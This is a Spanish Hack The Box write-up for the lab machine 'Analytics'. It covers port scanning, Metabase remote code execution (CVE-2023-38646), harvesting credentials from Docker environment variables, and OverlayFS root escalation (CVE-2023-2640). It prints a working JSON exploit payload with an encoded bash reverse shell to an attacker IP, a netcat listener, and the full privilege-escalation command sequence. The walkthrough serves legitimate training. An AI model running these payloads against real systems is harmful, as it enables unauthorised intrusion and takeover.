Descripción
Analytics es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución remota de comandos con un software Metabase vulnerable
- Exposición de datos sensibles en un contenedor Docker
- Escalada de privilegios mediante la vulnerabilidad CVE-2023-2640 en el kernel de Linux
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.233.
$ ping -c 3 10.10.11.233
PING 10.10.11.233 (10.10.11.233) 56(84) bytes of data.
64 bytes from 10.10.11.233: icmp_seq=1 ttl=63 time=42.0 ms
64 bytes from 10.10.11.233: icmp_seq=2 ttl=63 time=51.4 ms
64 bytes from 10.10.11.233: icmp_seq=3 ttl=63 time=134 ms
--- 10.10.11.233 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.020/75.700/133.650/41.156 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.233 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.233
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds
Obtenemos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.233 -sV -sC -p22,80 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.233
Host is up (0.50s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds
Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web. Encontramos que el sitio web es alojado por un servidor nginx 1.18.0, está hospedando una página de análisis de negocios. Podemos añadir el nombre de host a nuestro archivo /etc/hosts.
$ echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts
Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.
$ whatweb --log-brief web_techs analytical.htb
http://analytical.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[demo@analytical.com,due@analytical.com], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.233], JQuery[3.0.0], Script, Title[Analytical], X-UA-Compatible[IE=edge], nginx[1.18.0]
En la parte superior de la página encontramos un botón de Iniciar sesión que redirige al subdominio de data, por lo que lo agregamos a nuestro archivo hosts.
$ echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts
Este subdominio alberga una instancia de Metabase, una aplicación utilizada para obtener inteligencia de negocios.
Si miramos el código HTML del sitio web, vemos que la versión de Metabase ejecutándose es la v0.46.6.
Observamos que esta versión de la aplicación es vulnerable a la ejecución de código remoto, CVE-2023-38646 y también informado en Github. Tenemos un artículo de Calif con instrucciones sobre cómo explotar la vulnerabilidad. En primer lugar, necesitamos obtener una propiedad setup-token desde un punto del sitio web, /api/sessions/properties.
$ curl -s http://data.analytical.htb/api/session/properties | jq '."setup-token"'
"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"
Explotación
Esta vulnerabilidad se debe a un punto, /api/setup/validate, que valida una cadena que indica la conexión a una base de datos, puede analizar y ejecutar comandos debido a su sintaxis si se crea una carga útil especial. Primero necesitamos crear el comando de la terminal inversa y codificarlo a Base64.
Comando de la terminal inversa:
bash -c '0<&143-;exec 143<>/dev/tcp/10.10.14.192/1234;sh <&143 >&143 2>&143'
Comando de la terminal inversa codificada:
YmFzaCAtYyAnMDwmMTQzLTtleGVjIDE0Mzw+L2Rldi90Y3AvMTAuMTAuMTQuMTkyLzEyMzQ7c2ggPCYxNDMgPiYxNDMgMj4mMTQzJyAg
Ahora podemos crear el objeto JSON para enviar al punto con los valores anteriores, la propiedad setup-token y la cadena codificada Base64.
Objeto JSON a enviar al punto /api/setup/validate:
{"token":"249fa03d-fd94-4d5b-b94f-b4ebf3df681f","details":{"details":{"db":"zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER YEUBVMNL BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAnMDwmMTQzLTtleGVjIDE0Mzw+L2Rldi90Y3AvMTAuMTAuMTQuMTkyLzEyMzQ7c2ggPCYxNDMgPiYxNDMgMj4mMTQzJyAg}|{base64,-d}|{bash,-i}')\n$$--=x","advanced-options":false,"ssl":true},"name":"x","engine":"h2"}}
Antes de enviar la solicitud POST creamos nuestro puerto de escucha y obtendremos la terminal inversa.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.192] from (UNKNOWN) [10.10.11.233] 33772
Post-Explotación
Enumerando los usuarios, encontramos a metabase y root como usuarios de consola. Pero enumerando la información de la red encontramos la dirección IP de la interfaz, 172.17.0.2, que podría indicar que estamos dentro de un contenedor Docker.
metabase@metabase $ cat /etc/passwd | grep ash
root:x:0:0:root:/root:/bin/ash
metabase:x:2000:2000:Linux User,,,:/home/metabase:/bin/ash
metabase@metabase $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Enumerando las variables de entorno del contenedor de Docker encontramos dos, META_USER y META_PASS, respectivamente, metalytics y An4lytics_ds20223#.
metabase@metabase $ env
MB_LDAP_BIND_DN=
LANGUAGE=en_US:en
USER=metabase
HOSTNAME=3a48dbb1a1a9
FC_LANG=en-US
SHLVL=5
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
HOME=/home/metabase
OLDPWD=/home/metabase
MB_EMAIL_SMTP_PASSWORD=
LC_CTYPE=en_US.UTF-8
JAVA_VERSION=jdk-11.0.19+7
LOGNAME=metabase
_=/bin/sh
MB_DB_CONNECTION_URI=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_PASS=
MB_JETTY_HOST=0.0.0.0
META_PASS=An4lytics_ds20223#
LANG=en_US.UTF-8
MB_LDAP_PASSWORD=
SHELL=/bin/sh
MB_EMAIL_SMTP_USERNAME=
MB_DB_USER=
META_USER=metalytics
LC_ALL=en_US.UTF-8
JAVA_HOME=/opt/java/openjdk
PWD=/
MB_DB_FILE=//metabase.db/metabase.db
Si tratamos de iniciar sesión a través del servicio SSH con estas credenciales tendremos acceso al sistema principal como el usuario metalytics y habremos escapado del contenedor Docker.
$ ssh metalytics@10.10.11.233
metalytics@10.10.11.233's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information
System load: 0.78125 Processes: 270
Usage of /: 99.8% of 7.78GB Users logged in: 1
Memory usage: 41% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for eth0: 10.10.11.233
...
metalytics@analytics:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
metalytics:x:1000:1000:,,,:/home/metalytics:/bin/bash
Sólo encontramos root y metalytics como usuarios de consola. Como no podemos encontrar ninguna manera factible de escalar nuestros privilegios podemos intentarlo con un exploit del Kernel de Linux. Encontramos la versión del kernel instalada 6.2.0-25.
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
Este kernel es vulnerable a una escalada de privilegios en el kernel de Linux debido a la vulnerabilidad del módulo de Ubuntu OverlayFS, CVE-2023-2640, en versiones del kernel previas a 6.2.0-26.26. Tenemos una prueba de concepto hecha por Wiz. Solo necesitamos seguir las instrucciones en el sistema remoto.
metalytics@analytics:~$ mktemp -d
metalytics@analytics:~$ cd /tmp/tmp.eJQE5eKlvC
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ unshare -rm bash
root@analytics:/tmp/tmp.eJQE5eKlvC# mkdir lower upper workdir mount
root@analytics:/tmp/tmp.eJQE5eKlvC# cp /usr/bin/python3 lower/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# setcap 'cap_setuid+eip' lower/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# mount -t overlay overlay -o rw,lowerdir=lower,upperdir=upper,workdir=workdir mount
root@analytics:/tmp/tmp.eJQE5eKlvC# touch mount/python3
root@analytics:/tmp/tmp.eJQE5eKlvC# exit
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("id")'
uid=0(root) gid=0(root) groups=0(root)
Ahora podemos ejecutar comandos como el usuario root.
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("cat /home/metalytics/user.txt")'
<REDACTED>
metalytics@analytics:/tmp/tmp.eJQE5eKlvC$ upper/python3 -c 'import os;os.setuid(0);os.system("cat /root/root.txt")'
<REDACTED>